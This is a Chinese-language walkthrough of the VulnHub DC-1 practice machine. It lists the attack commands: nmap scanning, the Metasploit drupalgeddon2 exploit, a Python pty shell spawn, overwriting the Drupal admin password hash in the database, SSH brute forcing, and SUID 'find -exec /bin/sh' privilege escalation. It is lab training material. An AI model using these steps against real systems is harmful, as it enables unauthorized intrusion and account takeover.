渗透测试靶机vulnhub–DC1学习之路
渗透测试靶机vulnhub——DC1
Vulnhub简介:
Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,使用VMware即可直接运行。
Vulnhub靶机 下载&安装:
下载地址
官网地址:https://www.vulnhub.com/entry/dc-1,292/
安装步骤
直接打开虚拟机即可
Vulnhub靶机漏洞详解:
1、信息收集
在kali中我们可以使用netdiscover
来进行主机发现
也可以使用arp-scan -l
发现主机
然后使用nmap进行端口探测
nmap -sS -sV -T4 -n -p- 192.168.31.61
发现22,80,111,39678端口开放
访问80端口,是一个登录界面,然后进行基础的信息收集得到是Drupalcms
2、漏洞发现
什么是 Drupal?
Drupal 是一个灵活的,基于 LAMP 技术栈的 CMS,它的模块化设计,允许通过安装和卸载模块的方式 添加和移除功能,同时,允许通过安装和卸载主题改变整个网站的视觉感观。
在kali当中使用msf查看一下针对这个cms有哪些具体的模块可以使用
使用exploit/unix/webapp/drupal_drupalgeddon2
模块
弹出 meterpreter >代表利用成功可以继续进行后渗透
3、漏洞利用
在meterpreter >下输入shell在受害者计算机上打开一个shell
查看当前目录的文件发现有一个flag1.txt文件
每一个好的CMS都需要一个配置文件,你也是。
提示我们需要到配置文件进行下一步的利用
配置文件路径在sites/default
下查看该文件得到flag2的提示,同时害的到了数据库的用户名和密码
flag2
暴力和字典攻击不是
获得访问权限的唯一方法(您将需要访问权限)。
你能用这些证书做什么?
使用netstat -ntlp
查看3306端口是否开放,志云熙127.0.0.1本地连接
使用python写一个交互式shellpython -c "import pty;pty.spawn(’/bin/bash‘)"
可以成功连接到数据库
可以在数据库中找一下网站管理员的密码和账号
show databases; /*查看有哪些数据库*/
use drupaldb; ##使用drupaldb库
show tables; /*查看当前表*/
select * from users; /*查看users表的数据*/
在scripts目录下有password-hash.sh文件,可以用该文件生成自己的密码hash值替换数据库hash,达到登陆后台的目的。
更改管理员用户的密码
update drupaldb.users set pass="$S$DXxw73pV4biNtvJrJm6ywlt0kJBBo2q1PIGxT3M9HwDbR5lylNNp" where name="admin"; ##修改密码
登录后台
特殊的 PERMS 将帮助找到密码 - 但您需要执行该命令才能弄清楚如何获取阴影中的内容。
这其中给到的关键词有perms、find、-exec、shadow、passwd
我们可以查看一下passwd目录下的用户
可以直接cd进入/home/flag4
目录下直接查看flag4文件
因为之前的信息收集发现靶机的22端口开放也可以进行ssh弱口令爆破
弱口令爆破
您可以使用相同的方法来查找或访问根中的标志吗?
可能。但也许这并不容易。 或者也许是?
提示我们最后的flag是在根目录
liunx提权一般有四种提权方式:
- sudo提权,通过命令sudo -l查看是否有可提权的命令。
- suid提权,通过命令find / -perm -4000 2>/dev/null查看是否具有root权限的命令
- 系统版本内核提权。
- 通过数据库提权。
这里我们使用find提权
find / -perm -4000
find / -perm -4000 2>/dev/null
/*使用find命令查找有特殊权限suid的命令*/
使用find命令提权
find ./ aaa -exec '/bin/sh' \;
总结
到这里我们已经获取到所有flag了,针对这个靶机的渗透测试就已经结束了,通过这个靶机,我们学习到了python交互式shell,替换数据库当中管理员的密码而进行登录,和find命令进行提权